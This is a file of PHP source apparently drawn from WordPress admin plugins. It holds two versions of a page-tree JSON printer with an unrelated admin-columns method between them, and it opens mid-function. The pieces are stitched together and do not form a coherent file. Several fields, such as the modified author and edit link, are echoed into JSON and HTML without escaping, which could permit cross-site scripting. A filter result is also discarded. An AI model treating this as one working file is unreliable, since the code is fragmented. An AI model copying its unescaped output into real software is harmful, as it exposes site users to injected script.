'cms-tree-page-view'); } $title = get_the_title($onePage->ID); // so hooks and stuff will do their work $title = apply_filters("cms_tree_page_view_post_title", $title, $onePage); if (empty($title)) { $title = __("<Untitled page>", 'cms-tree-page-view'); } $arr_page_css_styles = array(); $user_can_edit_page = apply_filters("cms_tree_page_view_post_can_edit", current_user_can($post_type_object->cap->edit_post, $page_id), $page_id); $user_can_add_inside = apply_filters("cms_tree_page_view_post_user_can_add_inside", current_user_can($post_type_object->cap->create_posts, $page_id), $page_id); $user_can_add_after = apply_filters("cms_tree_page_view_post_user_can_add_after", current_user_can($post_type_object->cap->create_posts, $page_id), $page_id); if ($user_can_edit_page) { $arr_page_css_styles[] = "cms_tpv_user_can_edit_page_yes"; } else { $arr_page_css_styles[] = "cms_tpv_user_can_edit_page_no"; } if ($user_can_add_inside) { $arr_page_css_styles[] = "cms_tpv_user_can_add_page_inside_yes"; } else { $arr_page_css_styles[] = "cms_tpv_user_can_add_page_inside_no"; } if ($user_can_add_after) { $arr_page_css_styles[] = "cms_tpv_user_can_add_page_after_yes"; } else { $arr_page_css_styles[] = "cms_tpv_user_can_add_page_after_no"; } $page_css = join(" ", $arr_page_css_styles); // fetch columns $str_columns = ""; foreach ($posts_columns as $column_name => $column_display_name) { $col_name = $column_display_name; if ($column_name == "comments") { $col_name = __("Comments"); } $str_columns .= "<dt>{$col_name}</dt>"; $str_columns .= "<dd>"; if ($column_name == "comments") { $str_columns .= '<div class="post-com-count-wrapper">'; $left = get_pending_comments_num($onePage->ID); $pending_phrase = sprintf(__('%s pending'), number_format($left)); $pending_phrase2 = ""; if ($left) { $pending_phrase2 = " + {$left} " . __("pending"); } if ($left) { $str_columns .= '<strong>'; } ob_start(); comments_number("<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}'><span>" . _x('0', 'comment count') . "{$pending_phrase2}</span></a>", "<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}' class=''><span class=''>" . _x('1', 'comment count') . "{$pending_phrase2}</span></a>", "<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}' class=''><span class=''>" . _x('%', 'comment count') . "{$pending_phrase2}</span></a>"); $str_columns .= ob_get_clean(); if ($left) { $str_columns .= '</strong>'; } $str_columns .= "</div>"; } else { ob_start(); do_action('manage_pages_custom_column', $column_name, $onePage->ID); $str_columns .= ob_get_clean(); } $str_columns .= "</dd>"; } if ($str_columns) { $str_columns = "<dl>{$str_columns}</dl>"; } $str_columns = json_encode($str_columns); ?> { "data": { "title": <?php echo json_encode($title); ?> , "attr": { "href": "<?php echo $editLink; ?> " <?php /* , "xid": "cms-tpv-<?php echo $onePage->ID ?>" */ ?> }<?php /*, "xicon": "<?php echo CMS_TPV_URL . "images/page_white_text.png" ?>"*/ ?> }, "attr": { <?php /* "xhref": "<?php echo $editLink ?>", */ ?> "id": "cms-tpv-<?php echo $onePage->ID; ?> ", <?php /* "xtitle": "<?php _e("Click to edit. Drag to move.", 'cms-tree-page-view') ?>", */ ?> "class": "<?php echo $page_css; ?> " }, <?php echo $strState; ?> "metadata": { "id": "cms-tpv-<?php echo $onePage->ID; ?> ", "post_id": "<?php echo $onePage->ID; ?> ", "post_type": "<?php echo $onePage->post_type; ?> ", "post_status": "<?php echo $onePage->post_status; ?> ", "post_status_translated": "<?php echo isset($post_statuses[$onePage->post_status]) ? $post_statuses[$onePage->post_status] : $onePage->post_status; ?> ", "rel": "<?php echo $rel; ?> ", "childCount": <?php echo !empty($arrChildPages) ? sizeof($arrChildPages) : 0; ?> , "permalink": "<?php echo htmlspecialchars_decode(get_permalink($onePage->ID)); ?> ", "editlink": "<?php echo htmlspecialchars_decode($editLink); ?> ", "modified_time": "<?php echo $post_modified_time; ?> ", "modified_author": "<?php echo $post_author; ?> ", "columns": <?php echo $str_columns; ?> , "user_can_edit_page": "<?php echo (int) $user_can_edit_page; ?> ", "user_can_add_page_inside": "<?php echo (int) $user_can_add_inside; ?> ", "user_can_add_page_after": "<?php echo (int) $user_can_add_after; ?> ", "post_title": <?php echo json_encode($title); ?> } <?php // if id is in $arrOpenChilds then also output children on this one // TODO: if only "a few" (< 100?) pages then load all, but keep closed, so we don't have to do the ajax thingie if ($hasChildren && isset($arrOpenChilds) && in_array($onePage->ID, $arrOpenChilds)) { ?> , "children": <?php cms_tpv_print_childs($onePage->ID, $view, $arrOpenChilds, $post_type); } ?> } <?php // no comma for last page if ($i < $pagesCount - 1) { ?> ,<?php } // return orgiginal post $post = $tmpPost; } ?> ]<?php } }
/** * Manage custom column for Post Types. * * @since 1.0 */ public function manage_posts_column_value($column_name, $post_id) { $type = $column_name; // Check for taxonomies, such as column-taxonomy-[taxname] if (strpos($type, 'column-taxonomy-') !== false) { $type = 'column-taxonomy'; } // Check for custom fields, such as column-meta-[customfieldname] if ($this->is_column_meta($type)) { $type = 'column-post-meta'; } // Hook do_action('cpac-manage-posts-column', $type, $column_name, $post_id); // Switch Types $result = ''; switch ($type) { // Post ID case "column-postid": $result = $post_id; break; // Excerpt // Excerpt case "column-excerpt": $result = $this->get_post_excerpt($post_id); break; // Featured Image // Featured Image case "column-featured_image": if (function_exists('has_post_thumbnail') && has_post_thumbnail($post_id)) { $result = get_the_post_thumbnail($post_id, $this->thumbnail_size); } break; // Sticky Post // Sticky Post case "column-sticky": if (is_sticky($post_id)) { $result = $this->get_asset_image('checkmark.png'); } break; // Order // Order case "column-order": $result = get_post_field('menu_order', $post_id); break; // Post Formats // Post Formats case "column-post_formats": $result = get_post_format($post_id); break; // Page template // Page template case "column-page-template": // file name $page_template = get_post_meta($post_id, '_wp_page_template', true); // get template nice name $result = array_search($page_template, get_page_templates()); break; // Slug // Slug case "column-page-slug": $result = get_post($post_id)->post_name; break; // Slug // Slug case "column-word-count": $result = str_word_count($this->strip_trim(get_post($post_id)->post_content)); break; // Taxonomy // Taxonomy case "column-taxonomy": $tax = str_replace('column-taxonomy-', '', $column_name); $tags = get_the_terms($post_id, $tax); $tarr = array(); // for post formats we will display standard instead of empty if ($tax == 'post_format' && empty($tags)) { $result = __('Standard'); } elseif (!empty($tags)) { $post_type = get_post_type($post_id); foreach ($tags as $tag) { // sanatize title if (isset($tag->term_id)) { $tax_title = esc_html(sanitize_term_field('name', $tag->name, $tag->term_id, $tag->taxonomy, 'edit')); $tarr[] = "<a href='edit.php?post_type={$post_type}&{$tag->taxonomy}={$tag->slug}'>{$tax_title}</a>"; } } $result = implode(', ', $tarr); } break; // Custom Field // Custom Field case "column-post-meta": $result = $this->get_column_value_custom_field($post_id, $column_name, 'post'); break; // Attachment // Attachment case "column-attachment": $result = $this->get_column_value_attachments($post_id); break; // Attachment count // Attachment count case "column-attachment-count": $result = count($this->get_attachment_ids($post_id)); break; // Roles // Roles case "column-roles": $user_id = get_post($post_id)->post_author; $userdata = get_userdata($user_id); if (!empty($userdata->roles[0])) { $result = implode(', ', $userdata->roles); } break; // Post status // Post status case "column-status": $p = get_post($post_id); $result = $this->get_post_status_friendly_name($p->post_status); if ($p->post_status == 'future') { $result = $result . " <p class='description'>" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'), strtotime($p->post_date)) . "</p>"; } break; // Post comment status // Post comment status case "column-comment-status": $p = get_post($post_id); $result = $this->get_asset_image('no.png', $p->comment_status); if ($p->comment_status == 'open') { $result = $this->get_asset_image('checkmark.png', $p->comment_status); } break; // Post ping status // Post ping status case "column-ping-status": $p = get_post($post_id); $result = $this->get_asset_image('no.png', $p->ping_status); if ($p->ping_status == 'open') { $result = $this->get_asset_image('checkmark.png', $p->ping_status); } break; // Post actions ( delete, edit etc. ) // Post actions ( delete, edit etc. ) case "column-actions": $result = $this->get_column_value_actions($post_id); break; // Post Last modified // Post Last modified case "column-modified": $p = get_post($post_id); $result = $this->get_date($p->post_modified) . ' ' . $this->get_time($p->post_modified); break; // Post Comment count // Post Comment count case "column-comment-count": $result = WP_List_Table::comments_bubble($post_id, get_pending_comments_num($post_id)); $result .= $this->get_comment_count_details($post_id); break; // Author Name // Author Name case "column-author-name": $result = $this->get_column_value_authorname($post_id, $column_name); break; // Before More Tag // Before More Tag case "column-before-moretag": $p = get_post($post_id); $extended = get_extended($p->post_content); if (!empty($extended['extended'])) { $result = $this->get_shortened_string($extended['main'], $this->excerpt_length); } break; default: $result = ''; } // Filter for customizing the result output apply_filters('cpac-posts-column-result', $result, $type, $column_name, $post_id); echo $result; }
/** * Output JSON for the children of a node * $arrOpenChilds = array with id of pages to open children on */ function cms_tpv_print_childs($pageID, $view = "all", $arrOpenChilds = null, $post_type) { $arrPages = cms_tpv_get_pages("parent={$pageID}&view={$view}&post_type={$post_type}"); if ($arrPages) { global $current_screen; $screen = convert_to_screen("edit"); $screen->post_type = null; ob_start(); // some plugins, for example magic fields, return javascript and things here. we're not compatible with that, so just swallow any output $posts_columns = get_column_headers($screen); ob_get_clean(); unset($posts_columns["cb"], $posts_columns["title"], $posts_columns["author"], $posts_columns["categories"], $posts_columns["tags"], $posts_columns["date"]); global $post; #cms_tpv_firedebug(timer_stop()); ?> [<?php for ($i = 0, $pagesCount = sizeof($arrPages); $i < $pagesCount; $i++) { #cms_tpv_firedebug(timer_stop()); $onePage = $arrPages[$i]; $tmpPost = $post; $post = $onePage; $page_id = $onePage->ID; $editLink = get_edit_post_link($onePage->ID, 'notDisplay'); $content = esc_html($onePage->post_content); $content = str_replace(array("\n", "\r"), "", $content); $hasChildren = false; // if viewing trash, don't get children. we watch them "flat" instead if ($view == "trash") { } else { $arrChildPages = cms_tpv_get_pages("parent={$onePage->ID}&view={$view}&post_type={$post_type}"); } if ($arrChildPages) { $hasChildren = true; } // if no children, output no state $strState = '"state": "closed",'; if (!$hasChildren) { $strState = ''; } // type of node $rel = $onePage->post_status; if ($onePage->post_password) { $rel = "password"; } // modified time $post_modified_time = strtotime($onePage->post_modified); $post_modified_time = date_i18n(get_option('date_format'), $post_modified_time, false); // last edited by setup_postdata($post); $post_author = get_the_modified_author(); if (empty($post_author)) { $post_author = __("Unknown user", 'cms-tree-page-view'); } $title = get_the_title($onePage->ID); // so hooks and stuff will do their work if (empty($title)) { $title = __("<Untitled page>", 'cms-tree-page-view'); } $title = esc_html($title); #$title = html_entity_decode($title, ENT_COMPAT, "UTF-8"); #$title = html_entity_decode($title, ENT_COMPAT); // can edit? if (current_user_can('edit_page', $page_id)) { $user_can_edit_page = true; $user_can_edit_page_css = "cms_tpv_user_can_edit_page_yes"; } else { $user_can_edit_page = false; $user_can_edit_page_css = "cms_tpv_user_can_edit_page_no"; } // fetch columns $str_columns = ""; foreach ($posts_columns as $column_name => $column_display_name) { $col_name = $column_display_name; if ($column_name == "comments") { $col_name = __("Comments"); } $str_columns .= "<dt>{$col_name}</dt>"; $str_columns .= "<dd>"; if ($column_name == "comments") { $str_columns .= '<div class="post-com-count-wrapper">'; $left = get_pending_comments_num($onePage->ID); $pending_phrase = sprintf(__('%s pending'), number_format($left)); $pending_phrase2 = ""; if ($left) { $pending_phrase2 = " + {$left} " . __("pending"); } if ($left) { $str_columns .= '<strong>'; } ob_start(); comments_number("<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}'><span>" . _x('0', 'comment count') . "{$pending_phrase2}</span></a>", "<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}' class=''><span class=''>" . _x('1', 'comment count') . "{$pending_phrase2}</span></a>", "<a href='edit-comments.php?p={$page_id}' title='{$pending_phrase}' class=''><span class=''>" . _x('%', 'comment count') . "{$pending_phrase2}</span></a>"); $str_columns .= ob_get_clean(); if ($left) { $str_columns .= '</strong>'; } $str_columns .= "</div>"; } else { ob_start(); do_action('manage_pages_custom_column', $column_name, $onePage->ID); $str_columns .= ob_get_clean(); } $str_columns .= "</dd>"; } if ($str_columns) { $str_columns = "<dl>{$str_columns}</dl>"; } $str_columns = json_encode($str_columns); ?> { "data": { "title": "<?php echo $title; ?> ", "attr": { "href": "<?php echo $editLink; ?> ", "xid": "cms-tpv-<?php echo $onePage->ID; ?> " }, "xicon": "<?php echo CMS_TPV_URL . "images/page_white_text.png"; ?> " }, "attr": { "xhref": "<?php echo $editLink; ?> ", "id": "cms-tpv-<?php echo $onePage->ID; ?> ", "xtitle": "<?php _e("Click to edit. Drag to move.", 'cms-tree-page-view'); ?> ", "class": "<?php echo $user_can_edit_page_css; ?> " }, <?php echo $strState; ?> "metadata": { "id": "cms-tpv-<?php echo $onePage->ID; ?> ", "post_id": "<?php echo $onePage->ID; ?> ", "post_type": "<?php echo $onePage->post_type; ?> ", "post_status": "<?php echo $onePage->post_status; ?> ", "rel": "<?php echo $rel; ?> ", "childCount": <?php echo sizeof($arrChildPages); ?> , "permalink": "<?php echo htmlspecialchars_decode(get_permalink($onePage->ID)); ?> ", "editlink": "<?php echo htmlspecialchars_decode($editLink); ?> ", "modified_time": "<?php echo $post_modified_time; ?> ", "modified_author": "<?php echo $post_author; ?> ", "columns": <?php echo $str_columns; ?> , "user_can_edit_page": "<?php echo (int) $user_can_edit_page; ?> " } <?php // if id is in $arrOpenChilds then also output children on this one if ($hasChildren && isset($arrOpenChilds) && in_array($onePage->ID, $arrOpenChilds)) { ?> , "children": <?php cms_tpv_print_childs($onePage->ID, $view, $arrOpenChilds, $post_type); } ?> } <?php // no comma for last page if ($i < $pagesCount - 1) { ?> ,<?php } // return orgiginal post $post = $tmpPost; } ?> ]<?php } }